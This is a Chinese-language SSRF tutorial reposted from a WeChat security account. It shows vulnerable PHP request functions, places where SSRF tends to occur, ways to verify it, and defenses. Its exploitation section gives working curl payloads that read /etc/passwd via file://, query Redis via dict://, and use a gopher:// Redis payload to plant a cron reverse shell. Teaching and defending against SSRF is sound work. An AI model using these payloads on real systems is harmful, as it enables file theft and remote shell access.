WEB常见漏洞之SSRF(基础原理篇)

admin 2023年1月25日19:37:48评论70 views字数 4443阅读14分48秒阅读模式
免责声明
由于传播、利用本公众号狐狸说安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号狐狸说安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉,谢谢!

0x01 漏洞概述

SSRFServer-side Request Forge )服务器端请求伪造, 由于服务端提供了从其他服务器应获取数据的功能,但没有对地址和协议等做过滤和限制。使得攻击者可以利存在缺陷的web作为代理,攻击其远程和本地的服务器。

漏洞产生相关函数

file_get_contents()fsockopen()curl_exec()fopen()readfile()

1.file_get_contents()

<?php$url = $_GET['url'];;echo file_get_contents($url);?>

file_get_content函数从用户指定的url获取内容,然后指定一个文件名j进行保存,并展示给用户。file_put_content函数把一个字符串写入文件中。

2.fsockopen()

<?php function GetFile($host,$port,$link) {     $fp = fsockopen($host, intval($port), $errno, $errstr, 30);       if (!$fp) {         echo "$errstr (error number $errno) n";     } else {         $out = "GET $link HTTP/1.1rn";         $out .= "Host: $hostrn";         $out .= "Connection: Closernrn";         $out .= "rn";         fwrite($fp, $out);         $contents='';         while (!feof($fp)) {             $contents.= fgets($fp, 1024);         }         fclose($fp);         return $contents;     } }?>

fsockopen函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限

3.curl_exec()

<?php if (isset($_POST['url'])){    $link = $_POST['url'];    $curlobj = curl_init();// 创建新的 cURL 资源    curl_setopt($curlobj, CURLOPT_POST, 0);    curl_setopt($curlobj,CURLOPT_URL,$link);    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项    $result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器    curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源
$filename = './curled/'.rand().'.txt'; file_put_contents($filename, $result); echo $result;}?>

curl_exec函数用于执行指定的cURL会话

注:

1.一般情况下PHP不会开启fopen的gopher wrapper2.file_get_contents的gopher协议不能URL编码3.file_get_contents关于Gopher的302跳转会出现bug,导致利用失败4.curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用5.curl_exec() //默认不跟踪跳转,6.file_get_contents() // file_get_contents支持php://input协议

0x02 漏洞发现

既然SSRF有这些危害,那我们要怎么发现哪里存在SSRF,发现了又怎么利用呢?接下来就好好唠唠这点。

可以这么说,能够对外发起网络请求的地方,就可能存在SSRF漏洞,下面的内容引用了先知社区的一篇文章,文章链接在底部。

具体可能出现SSRF的地方:

社交分享功能:获取超链接的标题等内容进行显示转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览在线翻译:给网址翻译对应网页的内容图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片图片/文章收藏功能:主要网站会取URL地址中title以及文本的内容作为显示以求一个好的用户体验云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行SSRF测试网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作数据库内置功能:数据库的比如mongodb的copyDatabase函数邮件系统:比如接收邮件服务器地址编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞,一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

0x03 漏洞验证

1.排除法:浏览器f12查看源代码看是否是在本地进行了请求

比如:该资源地址类型为 http://www.xxx.com/a.php?image=(地址)的就可能存在SSRF漏洞

2.dnslog等工具进行测试,看是否访问

可以在盲打后台用例中将当前准备请求的uri 和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求。

3.抓包分析发送的请求是不是由服务器的发送的,如果不是客户端发出的请求,则有可能是,接着找存在HTTP服务的内网地址

从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址

通过二级域名暴力猜解工具模糊猜测内网地址

4.直接返回的Banner、title、content等信息

5.留意bool型SSRF

0x04 利用方式

让服务端去访问相应的网址让服务端去访问自己所处内网的一些指纹文件来判断是否存在相应的cms可以使用filedictgopher[11]ftp协议进行请求访问相应的文件攻击内网web应用(可以向内部任意主机的任意端口发送精心构造的数据包{payload})攻击内网应用程序(利用跨协议通信技术)判断内网主机是否存活:方法是访问看是否有端口开放DoS攻击(请求大文件,始终保持连接keep-alive always

 SSRF漏洞利用的相关协议

file:在有回显的情况下,利用 file 协议可以读取任意内容dict:泄露安装软件版本信息,查看端口,操作内网redis服务等gopher:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shellhttp/s:探测内网主机存活

攻击运行在内网或本地的应用程序

本地利用方式:

1.使用file协议 file protocol (任意文件读取)

curl -vvv "http://target/ssrf.php?url=file:///etc/passwd"

2.使用dict协议 dict protocol (获取Redis配置信息)

curl -vvv "http://target/ssrf.php?url=dict://127.0.0.1:6379/info"

3.使用gopher协议(俗称万能协议) gopher protocol (一键反弹Bash)

curl -vvv "http://target/ssrf.php?url=gopher://127.0.0.1:6379/_*1 %0d %0a $8%0d %0aflushall %0d %0a*3 %0d %0a $3%0d %0aset %0d %0a $1%0d %0a1 %0d %0a $64%0d %0a %0d %0a %0a %0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 %0a %0a %0a %0a %0a %0d %0a %0d %0a %0d %0a*4 %0d %0a $6%0d %0aconfig %0d %0a $3%0d %0aset %0d %0a $3%0d %0adir %0d %0a $16%0d %0a/var/spool/cron/ %0d %0a*4 %0d %0a $6%0d %0aconfig %0d %0a $3%0d %0aset %0d %0a $10%0d %0adbfilename %0d %0a $4%0d %0aroot %0d %0a*1 %0d %0a $4%0d %0asave %0d %0aquit %0d %0a"

curl命令在SSRF漏洞有非常重要的作用,所以这里就简单介绍一下curl命令:

curl 是常用的命令行工具,用来请求 Web 服务器。它的名字就是客户端(client)的 URL 工具的意思
不带有任何参数时,curl 就是发出 GET 请求
$ curl https://www.example.com
上面命令向www.example.com发出 GET 请求,服务器返回的内容会在命令行输出
-v参数输出通信的整个过程,用于调试。我们便可以利用-v参数进行读取文件
使用file协议curl -v file:///etc/passwd使用ftp协议 curl -v "ftp://127.0.0.1:端口/info"使用dict协议 curl -v "dict://127.0.0.1:端口/info"使用gopher协议 curl -v "gopher://127.0.0.1:端口/_info"   

0x05 漏洞防御

1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

2, 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。

4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。

5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

0x06 知识星球

WEB常见漏洞之SSRF(基础原理篇)

原文始发于微信公众号(狐狸说安全):WEB常见漏洞之SSRF(基础原理篇)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月25日19:37:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WEB常见漏洞之SSRF(基础原理篇)https://cn-sec.com/archives/1525137.html

发表评论

匿名网友 填写信息